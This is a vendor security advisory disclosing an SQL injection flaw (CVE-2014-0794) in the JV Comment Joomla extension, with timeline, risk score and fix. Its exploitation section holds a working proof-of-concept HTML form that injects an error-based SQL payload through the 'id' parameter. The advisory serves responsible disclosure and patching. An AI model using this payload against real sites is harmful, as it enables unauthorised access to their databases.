SQL Injection in JV Comment Joomla Extension

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxxx>]

Advisory ID: HTB23195
Product: JV Comment Joomla Extension
Vendor: joomlavi.com
Vulnerable Version(s): 3.0.2 and probably prior
Tested Version: 3.0.2
Advisory Publication:  January 2, 2014  [without technical details]
Vendor Notification: January 2, 2014 
Vendor Patch: January 14, 2014 
Public Disclosure: January 23, 2014 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-0794
Risk Level: Medium 
CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability 
in JV Comment Joomla Extension, which can be exploited to perform SQL Injection 
attacks.


1) SQL Injection in JV Comment Joomla Extension: CVE-2014-0794

The vulnerability exists due to insufficient validation of "id" HTTP POST 
parameter passed to "/index.php" script. A remote authenticated attacker can 
execute arbitrary SQL commands in application's database.

The following exploitation example displays version of MySQL database:


<form action="http://[host]/index.php"; method="post" name="main">
<input type="hidden" name="option" value="com_jvcomment">
<input type="hidden" name="task"   value="comment.like">
<input type="hidden" name="id"     value="1 AND 1=(select min(@a:=1)from 
(select 1 union select 2)k group by (select 
concat(@@version,0x0,@a:=(@a+1)%2)))">
<input type="submit" id="btn">
</form>


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Solution:

Update to JV Comment 3.0.3

More Information:
http://extensions.joomla.org/extensions/contacts-and-feedback/articles-comments/23394

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References:

[1] High-Tech Bridge Advisory HTB23195 - 
https://www.htbridge.com/advisory/HTB23195 - SQL Injection in JV Comment Joomla 
Extension.
[2] JV Comment Joomla Extension - 
http://www.joomlavi.com/joomla-extensions/jv-comment.html - With JV Comment, 
adding a comment system to your articles is now as simple as installing a 
plug-in and adjusting a few parameters.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's 
proprietary web application security assessment solution with SaaS delivery 
model that combines manual and automated vulnerability testing.

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.